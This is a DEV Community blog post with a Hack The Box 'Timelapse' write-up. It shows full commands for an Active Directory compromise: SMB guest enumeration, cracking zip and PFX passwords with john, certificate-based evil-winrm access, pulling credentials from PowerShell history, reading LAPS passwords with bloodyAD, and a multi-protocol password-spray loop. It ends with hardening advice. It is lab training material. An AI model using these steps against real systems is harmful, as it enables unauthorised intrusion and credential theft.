DEV Community

nekohige
nekohige

Posted on

HTB - Timelapse Writeup - no Metasploit

#ctf #htb #security #hackthebox

Summary

  • A shared folder (Shares) was accessible via the Guest account. Inside, there was a password-protected zip archive (PPAP-style). I cracked it with john (via zip2john), which revealed a .pfx file.
  • I cracked the .pfx password with john (via pfx2john) as well, and extracted the certificate and private key from it.
  • Using this certificate/key pair, I logged in via evil-winrm with cert-based authentication.
  • Inside that user’s PowerShell history, I found a login performed as svc_deploy, which exposed that account’s credentials.
  • According to BloodHound, svc_deploy belongs to the LAPS_READERS group, which has the ReadLAPSPassword right on dc01.timelapse.htb.
  • Using that right, I read the LAPS-managed local administrator password and obtained local administrator privileges on dc01.

Recommendation

Assuming this were a real environment, I would recommend the following.

  • Shares should not be accessible via the Guest account.
  • Review and remove unnecessary group nesting that grants service accounts excessive privileges, so that no path exists from a low-privileged account to Administrator.
  • Sensitive material such as password-protected ZIP or PFX files should never be stored in plaintext/unencrypted form on a shared folder — this is itself a secrets-storage failure, independent of how strong the password protecting them is.
  • Strengthen the password policy (length, complexity, resistance to dictionary attacks). The fact that the password was crackable with a dictionary attack (rockyou.txt) indicates weak password hygiene that should be addressed account-wide, not just for this one credential.
  • Avoid leaving credentials (e.g. svc_deploy’s) recoverable from command history such as PowerShell history; consider clearing history on sensitive accounts and auditing for credential exposure in logs/history files.

Enumeration

First of all, let's check open ports using nmap.

for i in 1 2; do sudo nmap -sS -Pn -p- --open -n --min-rate 1500 -oA scan_all$i 10.129.227.113; done
Enter fullscreen mode Exit fullscreen mode 


ports=$(grep -ohP '\d+(?=/open)' scan_all*.gnmap | sort -un | paste -sd, -); echo $ports
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.227.113
Enter fullscreen mode Exit fullscreen mode

Port 53(DNS) and 88(Kerberos) and (389) are open while 135(RPC), 139(Netbios) and 445(SMB) are open. This suggests that it is a Windows machine with an Active Directory domain.

sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.227.113
Enter fullscreen mode Exit fullscreen mode

No interesting UDPs are open.

Let's enumerate smb with anonymous and guest login.

nxc smb 10.129.227.113 -u '' -p '' --shares --users --groups
Enter fullscreen mode Exit fullscreen mode

A domain name is revealed: timelapse.htb.

Let's check the Domain info.

dig @10.129.19.132 timelapse.htb any
Enter fullscreen mode Exit fullscreen mode

A new domain name is revealed: dc01.timelapse.htb.

Let's add the mapping between domain and IP address.

echo "10.129.19.132 timelapse.htb dc01.timelapse.htb" | sudo tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode 


nxc smb 10.129.227.113 -u 'guest' -p '' --shares --users --groups
Enter fullscreen mode Exit fullscreen mode

It seems VPN connection error. I reconstructed the VPN connection from UDP to TCP.

nxc smb 10.129.19.132 -u 'guest' -p '' --shares --users --groups
Enter fullscreen mode Exit fullscreen mode

The response has changed.

Let's get into the share: Shares.

smbclient //10.129.19.132/Shares -U 'timelapse.htb\guest%' -t 300
Enter fullscreen mode Exit fullscreen mode

In the folder, there are curious files. Let's download all.

Exploitation

As shown below, winrm_backup.zip is password protected. zip2john can unlock it.


zip2john winrm_backup.zip > hash
Enter fullscreen mode Exit fullscreen mode 


john hash --wordlist=/usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode

.pfx is an archive containing a certificate and private key, extractable via openssl — but the password protecting it must be cracked first.

 pfx2john legacyy_dev_auth.pfx > pfx.hash
 john pfx.hash --wordlist=/usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode

Credential revealed! thuglegacy.

Let's unpack the certificate and private key, and then get a shell.

openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out legacyy_dev_auth.crt
Enter fullscreen mode Exit fullscreen mode 


openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -nodes -out legacyy_dev_auth.key
Enter fullscreen mode Exit fullscreen mode 


evil-winrm -i 10.129.19.132 -c legacyy_dev_auth.crt -k legacyy_dev_auth.key -S
Enter fullscreen mode Exit fullscreen mode

there is a user.txt at C:\Users\legacyy\Desktop.

Hooray!

Privilege Escalation

Let's use bloodhound.

upload SharpHoound.ps1
. .\SharpHound.ps1
Enter fullscreen mode Exit fullscreen mode 


Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\legacyy\Documents -OutputPrefix "bloodhound"
Enter fullscreen mode Exit fullscreen mode

Nothing special.

After some search, there is a Powershell history.

type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Enter fullscreen mode Exit fullscreen mode

Let' use the credential.

 nxc winrm 10.129.19.132 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV'
Enter fullscreen mode Exit fullscreen mode

According to the bloodhound, the user:svc_deploy belogs to LAPS_READERS that has ReadLAPSPassword of dc01.timelapse.htb.

Let's read the password using the method written in Bloodhound.

bloodyAD --host 10.129.19.132 -d 'timelapse.htb' -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
Enter fullscreen mode Exit fullscreen mode 


for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.19.132 -u 'Administrator' -p 'K%HQZ9;N17k,0usB9vK2{N]y' $a; done; done; for p in ssh ftp; do nxc $p 10.129.19.132 -u 'Administrator' -p 'K%HQZ9;N17k,0usB9vK2{N]y'; done
Enter fullscreen mode Exit fullscreen mode 


evil-winrm -i 10.129.19.132 -u 'Administrator' -p 'K%HQZ9;N17k,0usB9vK2{N]y' -S
Enter fullscreen mode Exit fullscreen mode 


type C:\Users\TRX\Desktop\root.txt
Enter fullscreen mode Exit fullscreen mode

Hooray!

Lessons Learned

.pfx is a password-protected archive (PKCS#12) bundling a cert + private key. Common output of AD CS attacks.

pfx2john cert.pfx > hash
john hash --wordlist=rockyou.txt
Enter fullscreen mode Exit fullscreen mode

Extract with openssl

openssl pkcs12 -in cert.pfx -clcerts -nokeys -out cert.crt   # cert
openssl pkcs12 -in cert.pfx -nocerts -nodes -out cert.key    # key
Enter fullscreen mode Exit fullscreen mode

evil-winrm

evil-winrm -i <IP> -c cert.crt -k cert.key -S
Enter fullscreen mode Exit fullscreen mode

Top comments (0)